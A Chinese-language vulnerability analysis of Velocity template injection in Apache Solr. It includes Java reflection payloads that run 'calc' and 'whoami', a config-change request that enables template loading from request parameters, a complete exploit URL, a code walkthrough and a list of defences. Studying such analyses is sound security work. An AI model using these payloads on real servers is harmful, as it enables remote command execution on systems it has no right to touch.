从Apache Solr 看 Velocity 模板注入
字数 1743 2025-08-22 12:22:48

Apache Solr Velocity模板注入漏洞分析与利用

1. Velocity模板引擎基础

1.1 Velocity基本语法

Velocity模板引擎使用两种主要符号:

  • #:标识Velocity脚本语句,如#set#if#else#end#foreach#include#parse#macro
  • $:标识变量引用,如Hello $a会输出上下文中的变量a的值

1.2 基本用法示例

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import java.io.StringWriter;

public class Test {
    public static void main(String[] args) {
        Velocity.init();
        String templateString = "#set($a = \"ooyywwll\")" + "Hello $a";
        VelocityContext context = new VelocityContext();
        StringWriter writer = new StringWriter();
        Velocity.evaluate(context, writer, "test", templateString);
        System.out.println(writer.toString());
    }
}

输出结果:

Hello ooyywwll

1.3 对象属性访问

Velocity支持对象属性访问:

context.put("user", new User("aaaa"));

模板:

hello, $user.name!

输出:

hello, aaaa!

2. Velocity模板注入原理

2.1 恶意代码执行

Velocity模板注入的核心是利用Velocity的脚本功能执行任意Java代码:

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import java.io.StringWriter;

public class Test {
    public static void main(String[] args) {
        Velocity.init();
        String templateString = "#set($e=\"e\")\n" +
            "$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"calc\")";
        VelocityContext context = new VelocityContext();
        StringWriter writer = new StringWriter();
        Velocity.evaluate(context, writer, "test", templateString);
        System.out.println(writer.toString());
    }
}

这段代码会执行calc命令,原理与SPEL表达式注入类似。

2.2 命令执行回显

获取命令执行结果的完整Payload:

#set($x='') 
#set($rt=$x.class.forName('java.lang.Runtime')) 
#set($chr=$x.class.forName('java.lang.Character')) 
#set($str=$x.class.forName('java.lang.String')) 
#set($ex=$rt.getRuntime().exec('whoami'))
$ex.waitFor()
#set($out=$ex.getInputStream()) 
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

3. Apache Solr Velocity模板注入漏洞

3.1 漏洞背景

Apache Solr是一个基于Lucene的搜索服务器,提供了VelocityResponseWriter用于渲染Velocity模板。当配置不当(特别是params.resource.loader.enabled设置为true)时,攻击者可以通过构造恶意请求实现模板注入。

3.2 漏洞利用条件

  1. Solr配置中启用了VelocityResponseWriter
  2. params.resource.loader.enabled设置为true
  3. 攻击者能够控制Velocity模板内容

3.3 配置修改

通过发送POST请求修改Solr配置:

POST /solr/demo/config HTTP/1.1
Host: 192.168.177.146:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

关键配置项:

  • solr.resource.loader.enabled:启用Solr资源加载器
  • params.resource.loader.enabled:允许通过请求参数加载模板(关键漏洞点)

3.4 漏洞利用Payload

http://192.168.177.146:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

参数说明:

  • wt=velocity:指定使用Velocity响应写入器
  • v.template=custom:使用自定义模板
  • v.template.custom:注入的恶意Velocity模板代码

4. 漏洞分析

4.1 请求处理流程

  1. Solr接收到HTTP请求后,在HttpSolrCall.call()方法中确定请求类型
  2. 对于PROCESS类型的请求,会创建SolrQueryResponse对象
  3. 通过getResponseWriter()方法获取响应写入器,根据wt参数选择VelocityResponseWriter
  4. 最终在VelocityResponseWriter.write()方法中渲染模板

4.2 关键代码分析

VelocityResponseWriter.write()方法:

public void write(Writer writer, SolrQueryRequest request, SolrQueryResponse response) throws IOException {
    VelocityEngine engine = createEngine(request);
    Template template = getTemplate(engine, request);
    VelocityContext context = createContext(request, response);
    context.put("engine", engine);
    
    String layoutTemplate = request.getParams().get(LAYOUT);
    boolean layoutEnabled = request.getParams().getBool(LAYOUT_ENABLED, true) && layoutTemplate != null;
    String jsonWrapper = request.getParams().get(JSON);
    boolean wrapResponse = layoutEnabled || jsonWrapper != null;

    if (!wrapResponse) {
        // 直接合并模板和上下文到输出
        template.merge(context, writer);
    } else {
        // 处理包装响应的情况
        StringWriter stringWriter = new StringWriter();
        template.merge(context, stringWriter);
        // ... 其他处理逻辑
    }
}

当攻击者控制v.template.custom参数时,恶意模板代码会被直接合并到输出中,导致代码执行。

4.3 模板渲染点

漏洞的关键在于template.merge()方法调用,该方法会解析并执行Velocity模板中的脚本。当攻击者能够控制模板内容时,就可以注入任意Velocity脚本代码。

5. 防御措施

  1. 禁用params.resource.loader.enabled:确保配置中params.resource.loader.enabled设置为false
  2. 限制Velocity模板使用:如非必要,禁用VelocityResponseWriter
  3. 输入验证:对用户提供的模板内容进行严格过滤
  4. 最小权限原则:运行Solr的账户应具有最小必要权限
  5. 及时更新:应用官方发布的安全补丁

6. 总结

Apache Solr Velocity模板注入漏洞是由于配置不当导致攻击者能够控制Velocity模板内容,进而执行任意Java代码。理解该漏洞需要掌握:

  1. Velocity模板引擎的基本语法和工作原理
  2. Solr的请求处理流程和响应写入机制
  3. Java反射机制在漏洞利用中的应用
  4. 命令执行结果的回显技术

通过分析该漏洞,可以更好地理解模板注入类漏洞的通用原理和防御方法。

Apache Solr Velocity模板注入漏洞分析与利用 1. Velocity模板引擎基础 1.1 Velocity基本语法 Velocity模板引擎使用两种主要符号: # :标识Velocity脚本语句,如 #set 、 #if 、 #else 、 #end 、 #foreach 、 #include 、 #parse 、 #macro 等 $ :标识变量引用,如 Hello $a 会输出上下文中的变量 a 的值 1.2 基本用法示例 输出结果: 1.3 对象属性访问 Velocity支持对象属性访问: 模板: 输出: 2. Velocity模板注入原理 2.1 恶意代码执行 Velocity模板注入的核心是利用Velocity的脚本功能执行任意Java代码: 这段代码会执行 calc 命令,原理与SPEL表达式注入类似。 2.2 命令执行回显 获取命令执行结果的完整Payload: 3. Apache Solr Velocity模板注入漏洞 3.1 漏洞背景 Apache Solr是一个基于Lucene的搜索服务器,提供了VelocityResponseWriter用于渲染Velocity模板。当配置不当(特别是 params.resource.loader.enabled 设置为true)时,攻击者可以通过构造恶意请求实现模板注入。 3.2 漏洞利用条件 Solr配置中启用了VelocityResponseWriter params.resource.loader.enabled 设置为true 攻击者能够控制Velocity模板内容 3.3 配置修改 通过发送POST请求修改Solr配置: 关键配置项: solr.resource.loader.enabled :启用Solr资源加载器 params.resource.loader.enabled :允许通过请求参数加载模板(关键漏洞点) 3.4 漏洞利用Payload 参数说明: wt=velocity :指定使用Velocity响应写入器 v.template=custom :使用自定义模板 v.template.custom :注入的恶意Velocity模板代码 4. 漏洞分析 4.1 请求处理流程 Solr接收到HTTP请求后,在 HttpSolrCall.call() 方法中确定请求类型 对于 PROCESS 类型的请求,会创建 SolrQueryResponse 对象 通过 getResponseWriter() 方法获取响应写入器,根据 wt 参数选择 VelocityResponseWriter 最终在 VelocityResponseWriter.write() 方法中渲染模板 4.2 关键代码分析 VelocityResponseWriter.write() 方法: 当攻击者控制 v.template.custom 参数时,恶意模板代码会被直接合并到输出中,导致代码执行。 4.3 模板渲染点 漏洞的关键在于 template.merge() 方法调用,该方法会解析并执行Velocity模板中的脚本。当攻击者能够控制模板内容时,就可以注入任意Velocity脚本代码。 5. 防御措施 禁用params.resource.loader.enabled :确保配置中 params.resource.loader.enabled 设置为false 限制Velocity模板使用 :如非必要,禁用VelocityResponseWriter 输入验证 :对用户提供的模板内容进行严格过滤 最小权限原则 :运行Solr的账户应具有最小必要权限 及时更新 :应用官方发布的安全补丁 6. 总结 Apache Solr Velocity模板注入漏洞是由于配置不当导致攻击者能够控制Velocity模板内容,进而执行任意Java代码。理解该漏洞需要掌握: Velocity模板引擎的基本语法和工作原理 Solr的请求处理流程和响应写入机制 Java反射机制在漏洞利用中的应用 命令执行结果的回显技术 通过分析该漏洞,可以更好地理解模板注入类漏洞的通用原理和防御方法。